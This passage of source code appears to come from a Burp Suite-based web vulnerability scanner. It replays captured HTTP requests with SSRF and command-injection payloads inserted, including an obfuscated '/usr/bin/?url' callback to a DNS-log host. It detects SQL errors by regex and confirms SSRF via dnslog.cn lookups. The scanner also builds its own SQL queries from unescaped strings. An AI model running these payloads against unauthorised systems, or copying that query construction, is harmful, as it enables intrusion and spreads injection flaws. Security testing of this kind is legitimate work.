'{escape_string(req_raw)}', '{escape_string(resp_raw)}' ,'{val['host']}', 1)" 69 | self.db.save(sql) 70 | 71 | #time.sleep(30) 72 | self.fetch_dnslog(self.wapper.ssrf_list) 73 | self.logger.info('[*] SSRF 探测完成, 共发送 {} 个请求'.format(len(gen_list))) 74 | 75 | def fetch_dnslog(self, ssrf_list): 76 | url_web = f'http://dnslog.cn/api/{self.dnslog_key}/*.{self.ssrf_str}.dnslog.cn/web/' 77 | url_dns = f'http://dnslog.cn/api/{self.dnslog_key}/*.{self.ssrf_str}.dnslog.cn/dns/' 78 | flag = False 79 | try: 80 | res_web = requests.get(url_web, timeout=60).text 81 | res_dns = requests.get(url_dns, timeout=60).text 82 | #flag = False 83 | for val in ssrf_list: 84 | if val in res_web or val in res_dns: 85 | self.logger.critical(f'[+] success,fetch vul,{val} has dnslog record') 86 | sql = f"update ssrf set is_vul = 1 where payload='{val}' and vuType=1" 87 | self.db.update(sql) 88 | flag = True 89 | except: 90 | pass 91 | if flag: 92 | items = self.db.get_all( 93 | "select create_time, host, payload, request_data, response from ssrf where to_days(create_time)=to_days(now()) and is_vul=1 and vuType=1") 94 | self.logger.info('[+] #####正在生成SSRF漏洞报告#####') 95 | generate_html(items, self.template_name, self.vulType) 96 | self.logger.info('[+] #####SSRF漏洞报告生成完成#####') 97 | -------------------------------------------------------------------------------- /lib/rules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/lib/rules/__init__.py -------------------------------------------------------------------------------- /lib/rules/enums.py: -------------------------------------------------------------------------------- 1 | class DBMS: 2 | DB2 = 'IBM DB2 database' 3 | MSSQL = 'Microsoft SQL database' 4 | ORACLE = 'Oracle database' 5 | SYBASE = 'Sybase database' 6 | POSTGRE = 'PostgreSQL database' 7 | MYSQL = 'MySQL database' 8 | JAVA = 'Java connector' 9 | ACCESS = 'Microsoft Access database' 10 | INFORMIX = 'Informix database' 11 | INTERBASE = 'Interbase database' 12 | DMLDATABASE = 'DML Language database' 13 | SQLITE = 'SQLite database' 14 | UNKNOWN = 'Unknown database' 15 | 16 | 17 | class OS(object): 18 | LINUX = "Linux" 19 | WINDOWS = "Windows" 20 | DARWIN = "Darwin" 21 | 22 | 23 | 24 | class VulType(object): 25 | CMD_INNJECTION = "cmd_injection" 26 | CODE_INJECTION = "code_injection" 27 | XSS = "xss" 28 | SQLI = "sqli" 29 | DIRSCAN = "dirscan" 30 | PATH_TRAVERSAL = "path_traversal" 31 | XXE = "xxe" 32 | BRUTE_FORCE = "brute_force" 33 | JSONP = "jsonp" 34 | SSRF = "SSRF" 35 | BASELINE = "baseline" 36 | REDIRECT = "redirect" 37 | CRLF = "crlf" 38 | SENSITIVE = "sensitive" 39 | SMUGGLING = 'smuggling' 40 | SSTI = 'ssti' 41 | UNAUTH = 'unauth' 42 | SQLI_ERROR_BASE = 'SQLERROR' 43 | SQLI_BOOL_BASE = 'SQLBOOL' 44 | -------------------------------------------------------------------------------- /lib/rules/rules_sqli.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from lib.rules.enums import DBMS 4 | 5 | def Get_sql_errors(): 6 | errors = [] 7 | # ASP / MSSQL 8 | errors.append(('System\.Data\.OleDb\.OleDbException', DBMS.MSSQL)) 9 | errors.append(('\[SQL Server\]', DBMS.MSSQL)) 10 | errors.append(('\[Microsoft\]\[ODBC SQL Server Driver\]', DBMS.MSSQL)) 11 | errors.append(('\[SQLServer JDBC Driver\]', DBMS.MSSQL)) 12 | errors.append(('\[SqlException', DBMS.MSSQL)) 13 | errors.append(('System.Data.SqlClient.SqlException', DBMS.MSSQL)) 14 | errors.append(('Unclosed quotation mark after the character string', DBMS.MSSQL)) 15 | errors.append(('mssql_query\(\)', DBMS.MSSQL)) 16 | errors.append(('odbc_exec\(\)', DBMS.MSSQL)) 17 | errors.append(('Microsoft OLE DB Provider for ODBC Drivers', DBMS.MSSQL)) 18 | errors.append(('Microsoft OLE DB Provider for SQL Server', DBMS.MSSQL)) 19 | errors.append(('Incorrect syntax near', DBMS.MSSQL)) 20 | errors.append(('Sintaxis incorrecta cerca de', DBMS.MSSQL)) 21 | errors.append(('Syntax error in string in query expression', DBMS.MSSQL)) 22 | errors.append(('ADODB\.Field \(0x800A0BCD\)
', DBMS.MSSQL)) 23 | errors.append(("Procedure '[^']+' requires parameter '[^']+'", DBMS.MSSQL)) 24 | errors.append(("ADODB\.Recordset'", DBMS.MSSQL)) 25 | errors.append(("Unclosed quotation mark before the character string", DBMS.MSSQL)) 26 | 27 | # DB2 28 | errors.append(('DB2 SQL error:', DBMS.DB2)) 29 | errors.append(('internal error \[IBM\]\[CLI Driver\]\[DB2/6000\]', DBMS.DB2)) 30 | errors.append(('SQLSTATE=\d+', DBMS.DB2)) 31 | errors.append(('\[CLI Driver\]', DBMS.DB2)) 32 | 33 | # Sybase 34 | errors.append(("Sybase message:", DBMS.SYBASE)) 35 | 36 | # Access 37 | errors.append(('Syntax error in query expression', DBMS.ACCESS)) 38 | errors.append(('Data type mismatch in criteria expression.', DBMS.ACCESS)) 39 | errors.append(('Microsoft JET Database Engine', DBMS.ACCESS)) 40 | errors.append(('\[Microsoft\]\[ODBC Microsoft Access Driver\]', DBMS.ACCESS)) 41 | 42 | # ORACLE 43 | errors.append(('(PLS|ORA)-[0-9][0-9][0-9][0-9]', DBMS.ORACLE)) 44 | 45 | # POSTGRE 46 | errors.append(('PostgreSQL query failed:', DBMS.POSTGRE)) 47 | errors.append(('supplied argument is not a valid PostgreSQL result', DBMS.POSTGRE)) 48 | errors.append(('pg_query\(\) \[:', DBMS.POSTGRE)) 49 | errors.append(('pg_exec\(\) \[:', DBMS.POSTGRE)) 50 | 51 | # MYSQL 52 | errors.append(('supplied argument is not a valid MySQL', DBMS.MYSQL)) 53 | errors.append(('Column count doesn\'t match value count at row', DBMS.MYSQL)) 54 | errors.append(('mysql_fetch_array\(\)', DBMS.MYSQL)) 55 | #errors.append(('mysql_', DBMS.MYSQL)) 56 | errors.append(('on MySQL result index', DBMS.MYSQL)) 57 | errors.append(('You have an error in your SQL syntax;', DBMS.MYSQL)) 58 | errors.append(('You have an error in your SQL syntax near', DBMS.MYSQL)) 59 | errors.append(('MySQL server version for the right syntax to use', DBMS.MYSQL)) 60 | errors.append(('\[MySQL\]\[ODBC', DBMS.MYSQL)) 61 | errors.append(("Column count doesn't match", DBMS.MYSQL)) 62 | errors.append(("the used select statements have different number of columns", DBMS.MYSQL)) 63 | errors.append(("Table '[^']+' doesn't exist", DBMS.MYSQL)) 64 | 65 | # Informix 66 | errors.append(('com\.informix\.jdbc', DBMS.INFORMIX)) 67 | errors.append(('Dynamic Page Generation Error:', DBMS.INFORMIX)) 68 | errors.append(('An illegal character has been found in the statement', DBMS.INFORMIX)) 69 | 70 | errors.append(('Warning: ibase_', DBMS.INTERBASE)) 71 | errors.append(('Dynamic SQL Error', DBMS.INTERBASE)) 72 | 73 | # DML 74 | errors.append(('\[DM_QUERY_E_SYNTAX\]', DBMS.DMLDATABASE)) 75 | errors.append(('has occurred in the vicinity of:', DBMS.DMLDATABASE)) 76 | errors.append(('A Parser Error \(syntax error\)', DBMS.DMLDATABASE)) 77 | 78 | # Java 79 | errors.append(('java\.sql\.SQLException', DBMS.JAVA)) 80 | errors.append(('Unexpected end of command in statement', DBMS.JAVA)) 81 | 82 | # Coldfusion 83 | errors.append(('\[Macromedia\]\[SQLServer JDBC Driver\]', DBMS.MSSQL)) 84 | 85 | # Generic errors.. 86 | errors.append(('SELECT .*? FROM .*?', DBMS.UNKNOWN)) 87 | errors.append(('UPDATE .*? SET .*?', DBMS.UNKNOWN)) 88 | errors.append(('INSERT INTO .*?', DBMS.UNKNOWN)) 89 | errors.append(('Unknown column', DBMS.UNKNOWN)) 90 | errors.append(('where clause', DBMS.UNKNOWN)) 91 | #errors.append(('SqlServer', DBMS.UNKNOWN)) 92 | 93 | sql_errors = [] 94 | for re_string, DBMS_type in errors: 95 | sql_errors.append((re.compile(re_string, re.IGNORECASE), DBMS_type)) 96 | return sql_errors 97 | -------------------------------------------------------------------------------- /lib/utils/CommonLog.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding:utf-8 -*- 3 | 4 | import logging 5 | import time 6 | import os 7 | import colorlog 8 | 9 | 10 | log_colors_config = { 11 | 'DEBUG': 'cyan', 12 | 'INFO': 'green', 13 | 'WARNING': 'yellow', 14 | 'ERROR': 'cyan', 15 | 'CRITICAL': 'bg_red', 16 | } 17 | 18 | class CommonLog(object): 19 | def __init__(self, logger=None): 20 | self.logger = logging.getLogger(logger) 21 | self.logger.setLevel(logging.DEBUG) 22 | self.log_time = time.strftime("%Y_%m_%d") 23 | file_dir = os.path.join(os.path.dirname(__file__), '../../logs') 24 | if not os.path.exists(file_dir): 25 | os.mkdir(file_dir) 26 | self.log_name = os.path.join(os.path.dirname(__file__), '../../logs', self.log_time + '.log') 27 | 28 | if not self.logger.handlers: 29 | fh = logging.FileHandler(self.log_name, 'a', encoding='utf-8') 30 | fh.setLevel(logging.INFO) 31 | 32 | # 再创建一个handler,用于输出到控制台 33 | ch = logging.StreamHandler() 34 | ch.setLevel(logging.INFO) 35 | 36 | # 定义handler的输出格式 37 | formatter1 = logging.Formatter('[%(asctime)s] %(filename)s->%(funcName)s line:%(lineno)d [%(levelname)s] %(message)s') 38 | formatter = colorlog.ColoredFormatter('%(log_color)s[%(asctime)s] %(filename)s->%(funcName)s line:%(lineno)d [%(levelname)s] %(message)s', log_colors=log_colors_config) 39 | fh.setFormatter(formatter1) 40 | ch.setFormatter(formatter) 41 | 42 | # 给logger添加handler 43 | self.logger.addHandler(fh) 44 | self.logger.addHandler(ch) 45 | 46 | fh.close() 47 | ch.close() 48 | 49 | def getlog(self): 50 | return self.logger 51 | -------------------------------------------------------------------------------- /lib/utils/CosineSimilarity.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # 正则包 4 | import re 5 | # html 包 6 | import html 7 | # 自然语言处理包 8 | import jieba 9 | import jieba.analyse 10 | # 机器学习包 11 | from sklearn.metrics.pairwise import cosine_similarity 12 | import os 13 | 14 | 15 | class CosineSimilarity(object): 16 | """ 17 | 余弦相似度 18 | """ 19 | def __init__(self): 20 | filePath = os.path.join(os.path.dirname(__file__), "files/stopwords.txt") 21 | jieba.analyse.set_stop_words(filePath) 22 | 23 | @staticmethod 24 | def extract_keyword(content): # 提取关键词 25 | # 正则过滤 html 标签 26 | re_exp = re.compile(r'()|(<[^>]+>)', re.S) 27 | content = re_exp.sub(' ', content) 28 | # html 转义符实体化 29 | content = html.unescape(content) 30 | # 切割 31 | seg = [i for i in jieba.cut(content, cut_all=True) if i != ''] 32 | # 提取关键词 33 | keywords = jieba.analyse.extract_tags("|".join(seg), topK=1000, withWeight=False) 34 | return keywords 35 | 36 | @staticmethod 37 | def one_hot(word_dict, keywords): # oneHot编码 38 | # cut_code = [word_dict[word] for word in keywords] 39 | cut_code = [0]*len(word_dict) 40 | for word in keywords: 41 | cut_code[word_dict[word]] += 1 42 | return cut_code 43 | 44 | def get_score(self,s1,s2): 45 | # 去除停用词 46 | filePath = os.path.join(os.path.dirname(__file__), "files/stopwords.txt") 47 | jieba.analyse.set_stop_words(filePath) 48 | # 提取关键词 49 | keywords1 = self.extract_keyword(s1) 50 | keywords2 = self.extract_keyword(s2) 51 | # 词的并集 52 | union = set(keywords1).union(set(keywords2)) 53 | # 编码 54 | word_dict = {} 55 | i = 0 56 | for word in union: 57 | word_dict[word] = i 58 | i += 1 59 | # oneHot编码 60 | s1_cut_code = self.one_hot(word_dict, keywords1) 61 | s2_cut_code = self.one_hot(word_dict, keywords2) 62 | # 余弦相似度计算 63 | sample = [s1_cut_code, s2_cut_code] 64 | # 除零处理 65 | try: 66 | sim = cosine_similarity(sample) 67 | return sim[1][0] 68 | except Exception as e: 69 | print(e) 70 | return 0.0 71 | 72 | 73 | if __name__ == '__main__': 74 | list_html = [ 75 | '
ID:1
first_name:admin
last_name:admin
JDS6xwWlYPZLcsNm-avhnR9fqd3KHMyrX0AFQ25eEkI71_4Gi8TU', 76 | '
ID:1
first_name:admin
last_name:admin
eWtsifuM03h-TDYXj7NqgI4vGOSVLr5KmPHk_ZC', 77 | 'error!AndyprcImbxKfFswzl7VJit6-DT', 78 | '
database error...    C4oXG_BtKd2WQF3iNpSOJxRAVlPZ0aEj1Hg9svf-UThzMLe
', 79 | '
ID:1
first_name:admin
last_name:admin
o0LaSKk_WGyEdqZ6ftT2X835DlHReJwVAFYBmUx'] 80 | c = CosineSimilarity() 81 | print(c.get_score(list_html[0], list_html[1])) 82 | 83 | 84 | # # 测试 85 | # if __name__ == '__main__': 86 | # list_html = [""" 88 | # 89 | # 90 | # 91 | # 92 | # 93 | # artists 94 | # 95 | # 96 | # 97 | # 98 | # 99 | # 109 | # 110 | # 111 | # 112 | #
113 | #
114 | #

Acunetix website security

115 | #
TEST and Demonstration site for Acunetix Web Vulnerability Scanner
116 | # 128 | #
129 | # 130 | # 131 | # 132 | # 133 | #
134 | # 135 | # Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62 136 | # 137 | #
138 | # 139 | # 140 | # 141 | # 180 | # 181 | # 182 | #
About Us | Privacy Policy | Contact Us | ©2019 183 | # Acunetix Ltd 184 | #
185 | #
186 | #
187 | #

Warning: This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test Acunetix. It also helps you understand how developer errors and bad configuration may let someone break into your website. You can use it to test other tools and your manual hacking skills as well. Tip: Look for potential SQL Injections, Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF), and more.

188 | #
189 | #
190 | # 191 | # """,""" 193 | # 194 | # 195 | # 196 | # 197 | # 198 | # artists 199 | # 200 | # 201 | # 202 | # 203 | # 204 | # 214 | # 215 | # 216 | # 217 | #
218 | #
219 | #

Acunetix website security

220 | #
TEST and Demonstration site for Acunetix Web Vulnerability Scanner
221 | # 233 | #
234 | # 235 | # 236 | # 237 | # 238 | #
239 | #

artist: r4w8173

240 | # Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestie. 241 | # Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis 242 | # nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero. 243 | # Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo. 244 | # Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a 245 | # mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad 246 | # litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus. 247 | # Mauris magna eros, semper a, tempor et, rutrum et, tortor. 248 | #

249 | #

250 | # Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestie. 251 | # Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis 252 | # nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero. 253 | # Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo. 254 | # Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a 255 | # mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad 256 | # litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus. 257 | # Mauris magna eros, semper a, tempor et, rutrum et, tortor. 258 | #

view pictures of the artist

comment on this artist

259 | #
260 | # 261 | # 262 | # 263 | # 302 | # 303 | # 304 | #
About Us | Privacy Policy | Contact Us | ©2019 305 | # Acunetix Ltd 306 | #
307 | #
308 | #
309 | #

Warning: This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test Acunetix. It also helps you understand how developer errors and bad configuration may let someone break into your website. You can use it to test other tools and your manual hacking skills as well. Tip: Look for potential SQL Injections, Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF), and more.

310 | #
311 | #
312 | # 313 | # """] 314 | # list_html2 = ['false','false'] 315 | # similarity = CosineSimilarity(list_html[0], list_html[1]) 316 | # similarity = similarity.main() 317 | # print('相似度: %.2f%%' % (similarity*100)) -------------------------------------------------------------------------------- /lib/utils/DBUtil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding:utf-8 -*- 3 | 4 | import pymysql 5 | from lib.utils.CommonLog import CommonLog 6 | from conf.ConfigFileModifyHandler import Config 7 | 8 | class DBUtil(object): 9 | db = None 10 | cursor = None 11 | 12 | def __init__(self): 13 | self.logger = CommonLog(__name__).getlog() 14 | self.host = Config.get_instance().get('mysql.HOST') 15 | self.port = int(Config.get_instance().get('mysql.PORT')) 16 | self.userName = Config.get_instance().get('mysql.USERNAME') 17 | self.password = Config.get_instance().get('mysql.PASSWD') 18 | self.dbName = Config.get_instance().get('mysql.DB') 19 | self.charsets = Config.get_instance().get('mysql.CHARSETS') 20 | 21 | # 链接数据库 22 | def get_con(self): 23 | """ 获取conn """ 24 | self.db = pymysql.Connect( 25 | host=self.host, 26 | port=self.port, 27 | user=self.userName, 28 | passwd=self.password, 29 | db=self.dbName, 30 | charset=self.charsets 31 | ) 32 | self.cursor = self.db.cursor() 33 | 34 | # 关闭链接 35 | def close(self): 36 | self.cursor.close() 37 | self.db.close() 38 | 39 | # 主键查询数据 40 | def get_one(self, sql): 41 | res = None 42 | try: 43 | self.get_con() 44 | self.cursor.execute(sql) 45 | res = self.cursor.fetchone() 46 | self.close() 47 | except Exception as e: 48 | self.logger.error("查询失败!" + str(e)) 49 | return res 50 | 51 | # 查询列表数据 52 | def get_all(self, sql): 53 | res = None 54 | try: 55 | self.get_con() 56 | self.cursor.execute(sql) 57 | res = self.cursor.fetchall() 58 | self.close() 59 | except Exception as e: 60 | self.logger.error("查询失败!" + str(e)) 61 | return res 62 | 63 | # 插入数据 64 | def __insert(self, sql): 65 | count = 0 66 | try: 67 | self.get_con() 68 | count = self.cursor.execute(sql) 69 | self.db.commit() 70 | self.close() 71 | #self.logger.info('数据库操作成功') 72 | except Exception as e: 73 | self.logger.error("操作失败!" + str(e)) 74 | self.db.rollback() 75 | return count 76 | 77 | # 添加数据 78 | def save(self, sql): 79 | return self.__insert(sql) 80 | 81 | # 更新数据 82 | def update(self, sql): 83 | return self.__insert(sql) 84 | 85 | # 删除数据 86 | def delete(self, sql): 87 | return self.__insert(sql) 88 | 89 | # if __name__ == '__main__': 90 | # db = DBUtil() 91 | # # x = db.get_one("select create_time, host, payload, request_data, response from ssrf WHERE payload='dnslog.cn'") 92 | # # print(x) 93 | # items = db.get_all( 94 | # "select create_time, host, payload, request_data, response from ssrf where to_days(create_time)=to_days(now()) and is_vul=1") 95 | # generate_html(items) 96 | 97 | 98 | #generate_html(report_dict) 99 | -------------------------------------------------------------------------------- /lib/utils/HttpWappalyzer.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import json 3 | from conf.ConfigFileModifyHandler import Config 4 | import copy 5 | import requests 6 | import urllib3 7 | import uuid 8 | from urllib import parse 9 | 10 | class HttpWappalyzer(object): 11 | def __init__(self): 12 | self.black_params_list = Config.get_instance().get("app.BLACK_PARAMS").split('|') 13 | self.black_headers = Config.get_instance().get("app.BLACK_HEADERS").split('|') 14 | self.use_proxy = Config.get_instance().get("app.PROXY") 15 | self.timeout = int(Config.get_instance().get("app.TIMEOUT")) 16 | self.proxy = { 17 | 'http': Config.get_instance().get("app.PROXY_HTTP"), 18 | 'https': Config.get_instance().get("app.PROXY_HTTP"), 19 | } 20 | self.redirect = True if Config.get_instance().get('app.REDIRECT') == 'true' else False 21 | self.ssrfpayload = Config.get_instance().get("app.SSRF_DNSLOG") 22 | self.tencent = True if Config.get_instance().get("app.SSRF_TENCENT") =='YES' else False 23 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 24 | self.ssrf_list = [] 25 | self.rce_list = [] 26 | 27 | def parseUrl(self, url): 28 | """ 29 | 获取url,? 号之前的url 30 | :param url: 31 | :return: 32 | """ 33 | return url.split('?')[0] 34 | 35 | def pop_black_headers(self, headers_dict): 36 | """ 37 | 去掉黑名单的headers 38 | :param headers_dict: 39 | :return: 40 | """ 41 | keys = headers_dict.keys() 42 | for key in list(keys): 43 | if key.lower() in self.black_headers: 44 | headers_dict.pop(key) 45 | 46 | return headers_dict 47 | 48 | def generate_uuid(self): 49 | """ 50 | 生成唯一字符串 51 | :return: 52 | """ 53 | return ''.join(str(uuid.uuid4()).split('-'))[0:10] 54 | 55 | def generate_ssrf_payload(self, s): 56 | """ 57 | 生成SSRF dnslog 域名 58 | :return: 59 | """ 60 | poc = self.generate_uuid() + '.'+ s + '.' + self.ssrfpayload 61 | self.ssrf_list.append(poc) 62 | if self.tencent: 63 | return "http://tst.qq.com/ssrf_forward.php?host="+ poc 64 | 65 | return "http://" + poc 66 | 67 | def generate_rce_payload(self,s): 68 | poc = self.generate_uuid() + '.'+ s + '.'+ self.ssrfpayload 69 | self.rce_list.append(poc) 70 | return '`{/usr/bin/?url,'+ poc +'}`' 71 | 72 | def updateJsonObjectFromStr(self, base_obj, update_str: str, mode: int): 73 | """ 74 | 为数据中的value 添加 、替换为 update_str 75 | :param base_obj: 76 | :param update_str: 77 | :param mode: 0, 替换 1 追加 2 ssrf 3 rce 78 | :return: 返回带有update_str的字典 79 | """ 80 | assert (type(base_obj) in (list, dict)) 81 | base_obj = copy.deepcopy(base_obj) 82 | # 存储上一个value是str的对象,为的是更新当前值之前,将上一个值还原 83 | last_obj = None 84 | # 如果last_obj是dict,则为字符串,如果是list,则为int,为的是last_obj[last_key]执行合法 85 | last_key = None 86 | last_value = None 87 | # 存储当前层的对象,只有list或者dict类型的对象,才会被添加进来 88 | curr_list = [base_obj] 89 | # 只要当前层还存在dict或list类型的对象,就会一直循环下去 90 | while len(curr_list) > 0: 91 | # 用于临时存储当前层的子层的list和dict对象,用来替换下一轮的当前层 92 | tmp_list = [] 93 | for obj in curr_list: 94 | # 对于字典的情况 95 | if type(obj) is dict: 96 | for k, v in obj.items(): 97 | if k not in self.black_params_list: 98 | # 如果不是list, dict, str类型,直接跳过 {"action":"xx","data":{"isPreview":false}} 这里不会替换isPreview, 他是bool类型 99 | if type(v) not in (list, dict, str, int): 100 | continue 101 | # list, dict类型,直接存储,放到下一轮 102 | if type(v) in (list, dict): 103 | tmp_list.append(v) 104 | # 字符串类型的处理 105 | else: 106 | # 如果上一个对象不是None的,先更新回上个对象的值 107 | if last_obj is not None: 108 | last_obj[last_key] = last_value 109 | # 重新绑定上一个对象的信息 110 | last_obj = obj 111 | last_key, last_value = k, v 112 | # 执行更新 113 | if mode == 0: 114 | obj[k] = update_str 115 | elif mode == 1: 116 | obj[k] = str(v) + update_str 117 | elif mode == 2: 118 | obj[k] = self.generate_ssrf_payload(update_str) 119 | # 生成器的形式,返回整个字典 120 | elif mode == 3: 121 | obj[k] = self.generate_rce_payload(update_str) 122 | yield base_obj 123 | 124 | # 列表类型和字典差不多 125 | elif type(obj) is list: 126 | list_flag = True 127 | for i in range(len(obj)): 128 | # 为了和字典的逻辑统一,也写成k,v的形式,下面就和字典的逻辑一样了,可以把下面的逻辑抽象成函数 129 | k, v = i, obj[i] 130 | if v not in self.black_params_list: 131 | if type(v) not in (list, dict, str, int): 132 | continue 133 | if type(v) in (list, dict): 134 | tmp_list.append(v) 135 | elif list_flag: 136 | if last_obj is not None: 137 | last_obj[last_key] = last_value 138 | last_obj = obj 139 | last_key, last_value = k, v 140 | if mode == 0: 141 | obj[k] = update_str 142 | elif mode == 1: 143 | obj[k] = str(v) + update_str 144 | elif mode == 2: 145 | obj[k] = self.generate_ssrf_payload(update_str) 146 | elif mode == 3: 147 | obj[k] = self.generate_rce_payload(update_str) 148 | list_flag = False 149 | yield base_obj 150 | curr_list = tmp_list 151 | 152 | def replaceHashTag(self,v): 153 | # 替换 # 为 %23 154 | if isinstance(v,str): 155 | return v.replace('#','%23') 156 | return v 157 | 158 | 159 | def assemble_parameter(self, d): 160 | #return '&'.join([k if v is None else '{0}={1}'.format(k, json.dumps(v, separators=(',', ':')) if isinstance(v, (dict,list)) else v) for k, v in d.items()]) 161 | # 20221212发现 url中存在#号导致请求被截断,需要将#号进行url编码 162 | return '&'.join([k if v is None else '{0}={1}'.format(k, json.dumps(v, separators=(',', ':')).replace("#","%23") if isinstance(v, (dict,list)) else self.replaceHashTag(v)) for k, v in d.items()]) 163 | 164 | 165 | def sendGetRequest(self, url, p, h, protocol): 166 | """ 167 | 发送get请求数据 168 | :param url: url 169 | :param p: get参数 170 | :param h: 请求头 171 | :param protocol: http or https 172 | :return: 173 | """ 174 | if self.use_proxy == 'YES': 175 | if protocol == 'https': 176 | return requests.get(url=self.parseUrl(url), params=self.assemble_parameter(p), headers=h, proxies=self.proxy, verify=False, 177 | allow_redirects=self.redirect, timeout=self.timeout) 178 | else: 179 | return requests.get(url=self.parseUrl(url), params=self.assemble_parameter(p), headers=h, proxies=self.proxy, 180 | allow_redirects=self.redirect, timeout=self.timeout) 181 | else: 182 | if protocol == 'https': 183 | return requests.get(url=self.parseUrl(url), params=self.assemble_parameter(p), headers=h, verify=False, allow_redirects=self.redirect, timeout=self.timeout) 184 | else: 185 | return requests.get(url=self.parseUrl(url), params=self.assemble_parameter(p), headers=h, allow_redirects=self.redirect, timeout=self.timeout) 186 | 187 | def sendPostRequest(self, url, p, d, h, protocol): 188 | """ 189 | 发送post请求 190 | :param url: url 191 | :param p: get参数 192 | :param d: post data 193 | :param h: 请求头 194 | :param protocol: http or https 195 | :return: 196 | """ 197 | if self.use_proxy == 'YES': 198 | if protocol == 'https': 199 | return requests.post(url=self.parseUrl(url), params=self.assemble_parameter(p), data=self.assemble_parameter(d), headers=h, proxies=self.proxy, verify=False, 200 | allow_redirects=self.redirect, timeout=self.timeout) 201 | else: 202 | return requests.post(url=self.parseUrl(url), params=self.assemble_parameter(p), data=self.assemble_parameter(d), headers=h, proxies=self.proxy, 203 | allow_redirects=self.redirect, timeout=self.timeout) 204 | else: 205 | if protocol == 'https': 206 | return requests.post(url=self.parseUrl(url), params=self.assemble_parameter(p), data=self.assemble_parameter(d), headers=h, verify=False, 207 | allow_redirects=self.redirect, timeout=self.timeout) 208 | else: 209 | return requests.post(url=self.parseUrl(url), params=self.assemble_parameter(p), data=self.assemble_parameter(d), headers=h, allow_redirects=self.redirect, timeout=self.timeout) 210 | 211 | def sendPostJsonRequest(self, url, p, d, h, protocol): 212 | """ 213 | 发送 application/json 数据 214 | :param url: 215 | :param p: 216 | :param d: 217 | :param h: 218 | :param protocol: 219 | :return: 220 | """ 221 | if self.use_proxy == 'YES': 222 | if protocol == 'https': 223 | return requests.post(url=self.parseUrl(url), params=self.assemble_parameter(p), data=json.dumps(d, separators=(',', ':'),ensure_ascii=False), headers=h, proxies=self.proxy, 224 | verify=False, allow_redirects=self.redirect, timeout=self.timeout) 225 | else: 226 | return requests.post(url=self.parseUrl(url), params=self.assemble_parameter(p), data=json.dumps(d, separators=(',', ':'),ensure_ascii=False), headers=h, proxies=self.proxy, 227 | allow_redirects=self.redirect, timeout=self.timeout) 228 | else: 229 | if protocol == 'https': 230 | return requests.post(url=self.parseUrl(url), params=self.assemble_parameter(p), data=json.dumps(d, separators=(',', ':'),ensure_ascii=False), headers=h, verify=False, 231 | allow_redirects=self.redirect, timeout=self.timeout) 232 | else: 233 | return requests.post(url=self.parseUrl(url), params=self.assemble_parameter(p), data=json.dumps(d, separators=(',', ':'),ensure_ascii=False), headers=h, 234 | allow_redirects=self.redirect, timeout=self.timeout) 235 | 236 | def processRequest(self, request_data): 237 | """ 238 | 重放http/s 数据 239 | :param request_data: 240 | :return: 241 | """ 242 | h = self.pop_black_headers(request_data['headers']) 243 | protocol = request_data['protocol'] 244 | method = request_data['method'] 245 | content_type = request_data['content_type'] 246 | url = request_data['full_url'] 247 | param_in_url = request_data['param_in_url'] 248 | param_in_body = request_data['param_in_body'] 249 | body = request_data['body'] 250 | if method == 'GET' and param_in_url: 251 | return self.sendGetRequest(url, param_in_url, h, protocol) 252 | elif method == 'POST' and content_type == 1: 253 | return self.sendPostRequest(url, param_in_url, param_in_body, h, protocol) 254 | elif method == 'POST' and content_type == 4: 255 | return self.sendPostJsonRequest(url, param_in_url, body, h, protocol) 256 | 257 | def generateResponse(self,resp: requests.Response): 258 | """ 259 | 生成http原始响应包 260 | :param resp: 261 | :return: 262 | """ 263 | if resp: 264 | response_raw = "HTTP/1.1 {} {}\r\n".format(resp.status_code, resp.reason) 265 | for k, v in resp.headers.items(): 266 | response_raw += "{}: {}\r\n".format(k, v) 267 | response_raw += "\r\n" 268 | response_raw += resp.content.decode('utf-8','ignore') 269 | return response_raw 270 | return "----BurpHack:Error Request\r\n\r\nBurpHack:Error Request----" 271 | 272 | def generateRequest(self, request_dict): 273 | """ 274 | 组装字典为http原始请求包 275 | :param request_dict: 276 | :return: 277 | """ 278 | #print(self.assemble_parameter(request_dict['param_in_url'])) 279 | #print(bool(self.assemble_parameter(request_dict['param_in_url']))) 280 | #print('?' + self.assemble_parameter(request_dict['param_in_url']) if self.assemble_parameter( 281 | # request_dict['param_in_url']) else self.assemble_parameter(request_dict['param_in_url'])) 282 | request_raw = '{} {}{} HTTP/1.1\r\n'.format(request_dict['method'], parse.urlparse(request_dict['full_url']).path, '?'+self.assemble_parameter(request_dict['param_in_url']) if self.assemble_parameter(request_dict['param_in_url']) else self.assemble_parameter(request_dict['param_in_url']) ) 283 | for k, v in request_dict['headers'].items(): 284 | request_raw += "{}: {}\r\n".format(k, v) 285 | request_raw +='\r\n' 286 | if request_dict['content_type'] == 4: 287 | request_raw += 